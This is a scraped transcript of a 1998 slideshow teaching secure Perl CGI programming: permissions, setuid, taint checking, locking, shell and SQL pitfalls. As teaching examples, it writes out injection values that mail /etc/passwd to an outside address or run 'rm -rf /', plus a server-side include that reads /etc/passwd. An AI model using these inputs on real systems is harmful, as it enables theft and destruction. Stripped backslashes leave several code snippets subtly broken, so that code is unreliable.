Slideshare.net (beta)

 

All comments

Add a comment on Slide 1

If you have a SlideShare account, login to comment; else you can comment as a guest


Showing 1-50 of 2 (more)

Secure CGI Programming

From brian_d_foy, 5 months ago

This is a Stonehenge Consulting Services (www.stonehenge.com) talk more

530 views  |  0 comments  |  0 favorites
Embed
options

More Info

This slideshow is Public
Total Views: 530
on Slideshare: 530
from embeds: 0

Slideshow transcript

Slide 1: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Secure CGI Scripting brian d foy, Randal L. Schwartz, and Tom Phoenix Version 1.2.3 (12/05/98) [] Copyright ©1998 by Randal L. Schwartz, Stonehenge Consulting Services

Slide 2: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Table of Contents Introduction 2 Multiple users on one computer 23 What this course is about 3 Accessing the filesystem 24 Restricting the filesystem 25 We’re Not in Kansas Anymore 4 Where’s the threat? (it’s them) 5 Tigers 26 Where’s the threat? (it’s us!) 6 An introduction to setuid 27 Large and complex systems 7 More about setuid 28 Who’s on first? think about: 8 Incorrectly set file permissions 29 Oz wasn’t built in a day 9 Data files in the wrong place 30 Using old or buggy libraries 31 Lions 10 Changes to modules 32 A few points about cgi programs 11 File locking with flock 33 Buggy software have known exploits 12 flock: an example 34 Lions don’t hunt alone 13 File locking with lock files 35 Session IDs 14 File locking with lock files (cont’d) 36 Database access 15 Overly verbose error output 37 Hide your hard-coded passwords 16 Giving out sensitive information 38 Common problems with “free scripts” 17 Send mail to yourself 39 Poor configuration allows for exploitation 18 Sample error email 40 How stack smashing ruins your day 19 Responding to a bad request 41 Robots wreaking havoc 20 Lack of data paranoia 42 Sniffing 21 Lack of data paranoia (con’t) 43 Parsed pages can execute code 22 Overly flexible environment 44 Page 1 of 2

Slide 3: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Using the shell 45 Avoiding the Lions, Tigers, and Bears 70 Passing data to shell 46 Programs can use the shell 47 Ding Dong the Witch is...? 71 Avoiding the shell 48 References 72 Use built-in functions where possible 49 More references 73 Bears 50 Security can be annoying 51 Revision Control System (RCS) 52 Taint checking 53 Removing the taint from data 54 Removing the taint from data (continued) 55 Watch for odd characters in SQL data 56 Things to think worry about 57 Special users and groups 58 Maintaining current version levels 59 Monitoring changes 60 Tracking errors from CGI programs 61 Dealing with robots 62 Password protecting scripts 63 Encrypt data for transmission 64 Mail is not a secure protocol 65 Don’t use /bin/mail or /bin/mailx to send mail 66 Use a valid return address when sending mail 67 Sending mail with Net::SMTP 68 Oh My! 69 Page 2 of 2

Slide 4: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Secure CGI Scripting brian d foy, Randal L. Schwartz, and Tom Phoenix Version 1.2.3 (12/05/98) [] Copyright ©1998 by Randal L. Schwartz, Stonehenge Consulting Services Page 1 of 73

Slide 5: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Introduction Page 2 of 73

Slide 6: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM What this course is about • Overview of what it takes to make so-called “secure” CGI programs • Not an overview of CGI programming • Presumes you’re already familiar with Perl and CGI programming • Information you’ll need to help sail through the Code Review and deployment process Page 3 of 73

Slide 7: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM We’re Not in Kansas Anymore Page 4 of 73

Slide 8: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Where’s the threat? (it’s them) • Malicious crackers New York Times, Department of Justice, and so on • Aspiring crackers and their disciples http://www.rootshell.com, Phrack, and so on • Spies, thieves, and burglars • Casual hackers Page 5 of 73

Slide 9: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Where’s the threat? (it’s us!) • Bad programming—we’ve all done it. Errors in logic. Errors in syntax. Errors in style. • Poor configuration or too flexible in accepting input. • Too verbose in reporting errors. • Not storing data files wisely. Sensitive data stored as plaintext. Data files in an overly accessible location. Page 6 of 73

Slide 10: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Large and complex systems • Monolithic systems. Disadvantages errors increase exponentially with the number of lines of code. one error affects entire program. Advantages one version and one file to worry about. • Modular systems. Disadvantages more than one file to worry about. Advantages errors are contained. easier for a group to work on. Page 7 of 73

Slide 11: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Who’s on first? think about: • Who should be using your script? %users = ( Yes => [split /,s*/, "Dorothy, Scarecrow, Tin Man, Cowardly Lion"), No => [split /,s*/, "Wicked Witch, Flying Monkeys, Toto"] ); • Why they should be using it? • What is your script supposed to do? Respond to user queries to Oz oracle. • When they should be using it? • From where they should be using it? From terminals in Oz. No access from Kansas. • For how long they should be using it? One query per person or animal per tornado. • Can your script do anything outside these bounds? Why? Page 8 of 73

Slide 12: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Oz wasn’t built in a day • You can’t learn everything in one day. • We can’t cover everything in one day. • Security is everyone’s responsibility. • Education, experience, and training are essential. • Keep up to date with new developments. Lion has installed heart. Scarecrow has installed brain. Page 9 of 73

Slide 13: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Lions “...The good fighter is able to secure himself against defeat, but cannot make certain of defeating the enemy.”—Sun Tzu Page 10 of 73

Slide 14: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM A few points about cgi programs • They typically run under the web server UID— a low privileged user. • ... but remember that they’re all running as the same low-level user • They have a different environment than our login account. • They typically have write permissions to very few places. • They are used by a lot of other people. • Debugging them makes us think about all of these. • See “The Idiot’s Guide to Solving Perl CGI problems” http://language.perl.com/CPAN/doc/FAQs/cgi/idiots-guide.html Page 11 of 73

Slide 15: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Buggy software have known exploits • “Free scripts” from public domain archives (Matt Wright, Selena Sol). Trivial to find with major search engines • Don’t use experimental versions for production systems. servers, interpreters, operating systems. • Old libraries. • Included “test” scripts. phf can execute almost any command on the server. • Operating systems which are not up to date with patches compromise security. Page 12 of 73

Slide 16: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Lions don’t hunt alone • Details of exploits are available on the internet and in magazines http://www.rootshell.com, Phrack, 2600 • Stack smashers take advantage of poor memory management (use Perl!). • Open Source software (Apache, Perl, BIND, Gnus, Linux) have freely available source • The first one to exploit a bug brags about it. • Others create programs to automatically use the exploit. Page 13 of 73

Slide 17: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Session IDs • Session IDs maintain state between invocations of the same (or cooperating) CGI programs • Use random session IDs to prevent users from hijacking your sessions Page 14 of 73

Slide 18: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Database access • Create database user IDs for CGI scripts that have the minimal required access permissions • If a script is just examining information, it doesn’t need to be able to update the table! INSERT add new data UPDATE change existing data SELECT extract or examine existing data Page 15 of 73

Slide 19: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Hide your hard-coded passwords • Never store the passwords to a database connection within the same file as the program • Keep them in another file, then use that file: ## in AccessUser.pm package AccessUser; $user = "web_browse"; $password = "webelong"; 1; ## in query use lib "/some/standard/location"; use AccessUser; ... login($AccessUser::user, $AccessUser::password); • The password file can be in another directory—be sure @INC is properly set • Best if this file is not in either the data tree or the CGI tree of the webserver • Downside: the password file must still be readable by the web user Page 16 of 73

Slide 20: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Common problems with “free scripts” • CGI is “kewl” and attracts novice programmers. Giving things away is a way to build status quickly. • Novice programmers quickly become overwhelmed with the amount of bug reports and stop providing support—even when serious security concerns are raised. • “Free Scripts” often lack competent file locking, configuration control, or error checking. • The Internet allows bad things to be propagated—urban legends, Good Times hoax, “Free Scripts”. • The “Free Scripts” have a predatory marketing scheme—often they are selling snake oil. • Easy to find victims for exploits or fun. • Moral: Do not blindly use anything that you don’t get from a trusted source! A widely known email address, vanity domain name, or authorship of a book is not a basis for trust. Page 17 of 73

Slide 21: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Poor configuration allows for exploitation • Free scripts try to get around user <input type="text" name="recipient" value="joe@aol.com"> • Inappropriate permissions on files chmod 777 user_data.txt chmod 777 sendmail.pl • Known server exploits for permissive set-ups XBitHack, Allow Overrides All, ExecCGI, FollowSymLinks • Flippant CGI / SSI configuration Page 18 of 73

Slide 22: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM How stack smashing ruins your day • Functions that don’t check bounds can write into memory that it shouldn’t. strcpy(char *dest, const char *src), strcat, strcmp, gets, ... • When the function overwrites its bounds, it writes into other program memory. • Stack smashers can overwrite program memory in a way that does not cause the program to fail. • Program continues to run, perhaps completely overtaken by attack • Program executes new commands, such as a shell escape. • For the gory details, see Phrack 49, file 14. • Avoid by checking bounds or using equivalent functions that have a buffer length argument. strncpy(char *dest, const char *src, size_t n), strncat, fgets, ... Page 19 of 73

Slide 23: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Robots wreaking havoc • Self-referential scripts could catch robots in infinite loops a TCP connection is reserved for at least four minutes—unintentional denial of service • Ballot stuffing robots People’s Most Beautiful People on-line voting • Bogus input scanners looking for holes • User-Agent, Referer, and cookies and be easily spoofed try it yourself at http://www.computerdog.com/httpeek/ • Robots which don’t follow the Robot Exclusion Standard Page 20 of 73

Slide 24: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Sniffing • HTTP operates in plaintext might want to use an encrypted stream, such as SSL (Secure Sockets Layer) • Basic Authentication sends user name and password in plaintext might want to use MD5 digest authentication instead (no mainstream browser supports this!) • Some organizations actively sniff their own traffic • There are programs for all operating systems that can easily sniff traffic available as underground software available from reputable networking hardware companies Page 21 of 73

Slide 25: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Parsed pages can execute code • Turn on server-parsed pages with a line in the configuration files AddHandler server-parsed .shtml • Can execute commands and scripts <!--#exec cmd="/bin/more /etc/passwd"--> <!--#exec cgi="/cgi-bin/tornado.cgi"--> <!--#include virtual="/cgi-bin/flying_monkeys.cgi?command=kidnap+dorothy"--> • Environment inherited by processes, including QUERY_STRING http://www.server.oz/index.shtml?user=munchkin • Other products allow for dynamic pages and code execution Active Server Pages, php, EmbPerl, Taco • Some servers can be stacked smashed to see unparsed data • Some servers will parse CGI script output Page 22 of 73

Slide 26: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Multiple users on one computer • Going back in time browsers have a history list, and can re-fetch data GET requests can be bookmarked • URL might give away information http://www.server.oz/query?desire=want+brain&user=scarecrow&passwd=%24carecrow (a POST request keeps form data from being remembered) • Cache fishing browsers store data in a cache directory • Identity theft users leave themselves “logged in”—their credentials are still in memory does not go away if user closes window—user must quit browser or “log out” see http://www.webthing.com/tutorials/login.html Page 23 of 73

Slide 27: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Accessing the filesystem • The web server defines what can be browsed DocumentRoot /web/htdocs • CGI programs might be outside DocumentRoot ScriptAlias /cgi-bin/ /web/cgi-bin • CGI scripts have access to whatever their UID has access • Some sensitive files are world readable by necessity, such as /etc/passwd • Subverting a CGI program might let attackers see any file. For example: <input type="hidden" name="top" value="top.html"> open(FILE, $FORM{top}); Page 24 of 73

Slide 28: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Restricting the filesystem • The superuser can change the root directory with chroot() (libc and Perl). • Once used, the script cannot access anything above or outside the new root directory. • There is no way to undo a chroot() • Once the chroot() is complete, be sure to drop privileges! • Don’t allow file paths with . or .. ../../filename.txt valid_directory/../../../unintended_directory • Use absolute paths if you know where the file is. • Don’t allow users to specify file paths. • Carefully check all data given to open(). Page 25 of 73

Slide 29: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Tigers “Never get off the boat” Page 26 of 73

Slide 30: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM An introduction to setuid • Setuid programs run with an effective UID (in Perl, $<) and a real UID ($>). The EUID is that of the owner, not the UID of the user (i.e. the web server) running it. -rwsr-xr-x 1 toto staff 593617 Oct 9 16:38 weather.cgi • The program has all the privileges and benefits of membership. • See the chmod man page to learn how to make a program setuid. • Setuid is a huge (HUGE) security concern for CGI scripts. Imagine letting the world login to your account. Setuid programs can do just as much damage. • Some programs, like /bin/passwd, run setuid root, but can only do very specific tasks. • Setuid root CGI scripts are bad, bad, bad. If you absolutely must, use a setuid wrapper. • Also consider creating a separate setuid subprogram that performs a critical task, so that the CGI script can still run instead as the web user Page 27 of 73

Slide 31: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM More about setuid • As a feature, you may lose the setuid permission if you change the file. • Perl will automatically use taint-checking when running setuid scripts • other local users can run the script as you! • If you are using setuid scripts, check the real UID to ensure it’s allowed to run your script. die "You can’t touch this!" unless $< == getpwname('nobody') and $( == getgrnam('nogroup'); • You can relinquish the setuid privileges by resetting the effective uid to the real UID $> = $<; $) = $(; exec '/bin/tornado -where kansas'; runs non-setuid now Page 28 of 73

Slide 32: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Incorrectly set file permissions • Scripts which are world writable. Who has permission to change the file? Use appropriate group permissions • Data files as world readable or world writable, or nobody readable or writable Favorite technique of the Free Script Archives Never use a system that tells you to chmod 777 cowardly_lion.txt • Text files with execute bit set—some servers might parse them using the XBitHack • Unnecessary setuid or setgid scripts -rwxr-xr-x 1 toto staff 121 May 14 03:07 aunty_em.html -rwxr-xr-x 1 toto staff 268 Dec 10 1997 brick_road.cgi -rwxrwxrwx 1 toto staff 268 Dec 10 1997 diary_data.txt -rwsrwsr-x 1 toto staff 3841 Nov 20 1997 oz_diary.cgi Page 29 of 73

Slide 33: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Data files in the wrong place • In the cgi-bin or another ScriptAlias directory—server may try to execute data files • Data files in a DocumentRoot directory can be viewed by everybody • Data files in group- or world- readable directories can be seen by local users • Consider all data to be sensitive • Some data is more sensitive—personal information, credit card numbers, and so on—store encrypted • Symlinks that allow the user to see outside of the DocumentRoot Options FollowSymLinks, Allow Override All Page 30 of 73

Slide 34: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Using old or buggy libraries • Current safe version of perl is 5.004 perl4 is dead, dead, dead perl5.003 and prior are CERT-ifably unsafe • Don’t use cgi-lib.pl or handrolled methods CGI.pm is the only approved method for parsing CGI data • Current version of CGI.pm is 2.68 CGI.pm is now included with the standard Perl distribution has a cgi-lib.pl compatibility mode • Use require or use to get version info use 5.004; script will fail with earlier versions Page 31 of 73

Slide 35: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Changes to modules • Scripts don’t know about changes to modules. Setuid scripts won’t lose setuid bit. Functions might change behavior of script. Modules are really good places to store trojan horses. • Script searches @INC for modules. what does it find first? setuid scripts would use our PERL5LIB environment variable. • Use something like tripwire to detect changes. see http://www.cs.purdue.edu/coast/ Page 32 of 73

Slide 36: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM File locking with flock • Whenever a CGI script writes to a file, the file must be locked • If it’s not? Two processes can write to the file at the same time, or the file can be read while it’s being written • The easy way to lock is Perl’s built-in flock operator use Fcntl qw(:flock); include flock constants like LOCK_EX flock FH, LOCK_EX; filehandle FH now has an exclusive lock • flock is advisory—to make it work, every writer must use LOCK_EX (exclusive), and every reader must use LOCK_SH (shared) • flock is blocking—use LOCK_EX | LOCK_NB for non-blocking behavior • Always set the lock immediately after opening the file • The preferred way to release a lock is to close the file • In some cases you may need to seek after flock but before reading/writing • Be sure all programs flock multiple files in the same order to prevent deadlock Page 33 of 73

Slide 37: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM flock: an example • Here is a server-side include that creates an HTTP referrer log (the log is in no particular format) use Fcntl qw(:flock); include flock constants like LOCK_EX print "Content-Type: text/plainnn"; $log = "/WWW/www.server.oz/cgi-bin/toto/referer_log"; open LOG, ">>$log" or &cgi_error("couldn't open $log: $!"); flock LOG, LOCK_EX; obtain the lock seek LOG, 0, 2; seek to end of file before writing $time = localtime; print LOG "$time $ENV{PATH_INFO} $ENV{REMOTE_HOST} $ENV{HTTP_REFERER} n"; close LOG; this releases the lock • Use it with a virtual include (extra path info tells you where from) <!--#include virtual="/cgi-bin/ssi/refer.ssi/index.html" --> Page 34 of 73

Slide 38: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM File locking with lock files • You can’t use flock for everything • Another approach is lock files, which rely on the atomicity of UNIX hard linking • First, decide what the name of the lockfile will be, for example, lock/mylog to lock access to file mylog—all writers have to use the same name! • Next, create a uniquely-named temporary file ($lockfile_name is the lockfile name from above) my $tmpfile = "$lockfile_name.$$." . time; • Generally, some useful bit of info, like the locking process id, or the name of the temporary file itself, is written into the temporary file open TMPFH, ">$tmpfile" or die "$0: couldn't create tmp file for lock: $!"; print TMPFH "$tmpfilen"; close TMPFH; Page 35 of 73

Slide 39: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM File locking with lock files (cont’d) • Once $tmpfile is created, set the lock by attempting to hard link it to the name of the lockfile TRY_LINK: { while ($retries--) { last TRY_LINK if link $tmpfile, $lockfile_name; sleep 1; } die "couldn't set lock"; or whatever action is appropriate } • Complete setting the lock by unlinking $tmpfile • When you are done writing, clear the lock with unlink $lockfile_name • One drawback is that the lock isn’t broken automatically if the locking process dies • Another drawback is that lock files done this way may not work reliably over NFS • A reliable lockfile-maintaining utility is lockfile, from the procmail distribution • Watch out for deadlock Page 36 of 73

Slide 40: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Overly verbose error output • Don’t say too much. • Removing the -w switch from production scripts (might also consider diddling $^W). Page 37 of 73

Slide 41: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Giving out sensitive information • Printing user names, passwords, credit card numbers, or other personal information. Remember cache fishing? • Do your error messages tell too much about the system? This message gives clues about the filesystem. The requested URL /cgi-bin/munchkin.cgi was not found on this server. There was also some additional information available about the error: [Mon Oct 12 05:30:48 1998] access to /web/cgi-bin/munchkin.cgi failed for 166.84.185.60, reason: script not found or unable to stat Page 38 of 73

Slide 42: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Send mail to yourself • Send email to yourself when your script encounters an error • You can discover errors in design or implementation • You can easily spot suspicious activity • You are forced to improve your programming to stop all those darned emails! • Include in your message time of error environment input data intelligent message from script, including file name, line number, package (see caller()) Page 39 of 73

Slide 43: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Sample error email Date: Fri, 9 Oct 1998 23:16:02 -0400 (EDT) From: toto@mailnost.oz To: toto@mailnost.oz Subject: message from /cgi-bin/calendar/admin/calendar_admin message from /dev/fd/3 ------------------ calendar_admin[line 45]: please specify a password ------------------ CONTENT_LENGTH: 0 CONTENT_TYPE: application/x-www-form-urlencoded DOCUMENT_ROOT: /web/www.little-black-dogs.org/docs ... Page 40 of 73

Slide 44: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Responding to a bad request • Use appropriate HTTP status code 400 Bad Request 405 Method Not Implemented 408 Request Time Out 500 Server Error • Some servers stupidly return 200 OK for errors • Use ErrorDocument ErrorDocument 404 http://www.server.oz/cgi-bin/find-fuzzy-matches.cgi ErrorDocument 500 http://www.server.oz/cgi-bin/ignore_the_script_behind_the_curtain.cgi • See “Die()-ing On the Web” by brian d foy, The Perl Journal #9 Page 41 of 73

Slide 45: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Lack of data paranoia • American Perspective—Everything not forbidden is permitted. %verboten = map { $_, 1 } qw(Wicked_Witch Flying_Monkey); die if $verboten{$user} or $command =~ /[&;|n‘]/; • Prussian Perspective—Everything not permitted is forbidden. %allowed = map { $_, 1 } qw(Dorothy Aunty_Em); die unless $allowed{$user} and $command =~ /^[sw]+$/; Page 42 of 73

Slide 46: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Lack of data paranoia (con’t) • Accept only form names that you define Safe: $user = $input->param(’user’); Dangerous: foreach ($input->param ) { my $data = $input->param($_); eval "$$_ = $data"; } • Check inputs for: type—number, string with only [a-z], ’on’ size—integer within bounds, string length value from list— %valid_user = qw(Dorothy 1 Lion 1 Scarecrow 1); cgi_error(’Invalid user’) unless $valid_user{$user}; Page 43 of 73

Slide 47: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Overly flexible environment • Too much information in PATH $ENV{"PATH"} = "/usr/local/bin:/usr/ucb:/bin:/usr/bin"; • When running setuid, the script has your environment. /export/home/toto/bin:/usr/local/bin:/usr/ucb:/bin:/usr/bin • What are actually in those directories? What does it find first? cc, gcc, perl, development tools, latro http://www.server.oz/cgi-bin/perl.exe?red_slippers.pl • But there is /usr/local/bin/who? $who = `who`; perhaps not what you expect—a trojan? American $who = `/bin/who` much safer—gets the one that you want. Prussian $ENV{'PATH'} = ''; even better—use absolute path everytime. very Prussian Page 44 of 73

Slide 48: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Using the shell • The shell interprets certain characters as special ; —end of command cd; ls -l & —run in background make -f /my/hidden/Makefile & <, >, >>—shell redirection |—pipeline ls | sort -r | grep toto $FOO—variable interpolation echo $PATH Page 45 of 73

Slide 49: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Passing data to shell • What if we do this: $online = `/usr/local/bin/finger $user`; but $user was ... ? dorothy toto; mail wicked_witch@yahoo.com < /etc/passwd cowardly; rm -rf / or if we want to open(OZMAIL, "| /bin/mail $email") but $email is ... ? -P | mail flying_monkey@yahoo.com &; echo "#!/usr/bin/perl" >> $HOME/public_html/melt_witch.cgi &; echo "use strict;" >> $HOME/public_html/melt_witch.cgi Page 46 of 73

Slide 50: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Programs can use the shell • Bourne shell is not approved as a CGI scripting language! • C functions that use the shell popen, system • Java functions that use the shell System.exec • Perl functions that might use the shell exec and system (not in list form) backticks, qx() certain forms of open() • Some Perl constructs can evaluate dynamic code that might be dangerous s///eieio eval Page 47 of 73

Slide 51: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Avoiding the shell • Both system and exec have a list form system "/bin/cmd", "arg1", "arg2", "arg3"; exec "/bin/cmd", "arg1", "arg2", "arg3"; • In C, use execl instead of the other exec(2) calls • The list form is preferred because the arguments go directly to the command without shell interpretation • Use the absolute path (as shown above) • The sysopen function and the object-oriented modules IO::Handle and IO::File opening files without interpreting Perl metacharacters like | and > (see open in man perlfunc) • Since there’s no shell involved, Perl doesn’t check the parameters for taint! So only pass known- safe parameters. (You were going to do that anyway, right?) Page 48 of 73

Slide 52: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Use built-in functions where possible • Avoid the shell completely by using a built-in function $hostname = `hostname`; can be replaced with the more portable use Sys::Hostname; $hostname = hostname; • Avoid passing data to the shell @files = `ls $directory`; can be replaced with the more portable and safe opendir(DIR, $directory) or die($!); @file = readdir(DIR); closedir(DIR); Page 49 of 73

Slide 53: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Bears bear—4. noun. something that is difficult or unpleasant Page 50 of 73

Slide 54: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Security can be annoying • More things to worry about • More work for us • More things to test • Gets in the way of development • All of these things benefit our enemies because these things make us lazy Page 51 of 73

Slide 55: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Revision Control System (RCS) • What is it? Configuration control for software modules • Why use it? Required Manages multiple revisions of files Multi-user access Back-out capability Page 52 of 73

Slide 56: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Taint checking • When a Perl program detects that it is running setuid (the real and effective user or group ids are different), it turns on a feature called taint checking • You can also turn on taint checking manually with the -T command-line option #!/usr/local/bin/perl -Tw turn on taint checking and warnings • mod_perl needs PerlTaintOn in the server config file • Any data originating outside of the program is marked tainted—command line arguments, environment variables, file input, CGI form variables, and so on. • A fatal error results from any attempt to use tainted data to invoke a subshell or command, or to modify files, directories, or processes • Printing tainted data, or merely opening a file and reading from it, are not affected by taint checking • There are still (always) ways to be unsafe, even with taint checking turned on • Taint checking prevents only foolish mistakes—also known as D’Oh! Page 53 of 73

Slide 57: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Removing the taint from data • You can’t untaint a variable. But you can extract untainted data from a tainted source • The only way to get untainted data from tainted data is to use a pattern match and extract subexpressions from it with memory parentheses chomp($data = <>); $data =~ /(w*)/; this always matches $untainted_data = $1; $untainted_data is now presumed “safe” • But what if we had used w+ in the pattern—it might fail to match, and $1 might be leftover data from a previous pattern match • Either check for a successful match, or use a match in a list context $untainted_data = $1 if /(w+)/; one way to do it ($untainted_data) = /(w+)/; $untainted_data becomes undef if no match • It’s okay (but may be confusing) to use the same variable on the right as on the left ($filename) = ( $filename =~ /([w-.]{1,12})/ ); Page 54 of 73

Slide 58: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Removing the taint from data (continued) • If you’re especially cautious, you may want to make a pattern which is anchored to the beginning and ending of the string ($untainted_data) = /^(w+)$/; • Perl implicitly trusts your pattern (that means you!) to match only the safe data • The pattern /(.*)/ will match too much, but Perl doesn’t know that • Don’t forget that the newline is a shell metacharacter • Also, remember that some characters have special meaning to Perl, for example, a > or | at the beginning of a filename supplied to the open operator • Don’t try to make a pattern to match email addresses—they can have shell metacharacters, yet still be valid addresses • ...but you should never send email addresses to the shell, or need to Page 55 of 73

Slide 59: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Watch for odd characters in SQL data • You may need to escape user query values • Most common—double up those single quotes: my $search_for = param("search_for"); $search_for =~ s/'/''/g; $query = "select * from foo where name = '$search_for'"; • You may also be able to use methods that don’t require interpolation into the SQL string: $query = 'select foo from bar where ID = :1 and NAME = :2 '; $cursor = ora_open($lda, $query); foreach $name ('joe','dick','harry') { ora_bind($cursor,$id,$name); @ret = ora_fetch($cursor); print "@retn"; } Page 56 of 73

Slide 60: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Things to think worry about • When you open a file, are you sure that its name doesn’t contain Perl metacharacters like > or |? • When you use backticks, system, or exec, are you sure that the command you’re executing doesn’t contain unintended shell metacharacters? • If you use Perl eval on a string, are you sure of the string’s contents? • What if your setuid CGI script is run by a local user? • What if your script is sent bogus data? Or more data than you expected? • What if you aren’t worrying enough? • Are you assuming that your script will be run within a particular working directory? • Have you read man perlsec and the CGI security FAQ? • If you’re thinking of having a CGI script run setuid root, do any other inmates share your delusions? Page 57 of 73

Slide 61: STONEHENGE CONSULTING SERVICES 4470 SW Hall Suite 107 Beaverton, OR 97005 (503) 777-0095 TM Special users and groups • Requires cooperation of system administrators to set up. • Use the lowest set of privileges possible. • Most uses of root can be obviated with appropriate group permissions. • Give files least privileges necessary and appropriate group ownership. • Create special user for database servers and others as appropriate • Setuid scripts have a special user. setuid scripts may lose their setuid bit when changed. • Distinguish between scripts that need to read (SELECT) or write (UPDATE, INSERT) a database. • Use a tool that checks ownership and permissions periodically. Page 58 of 73

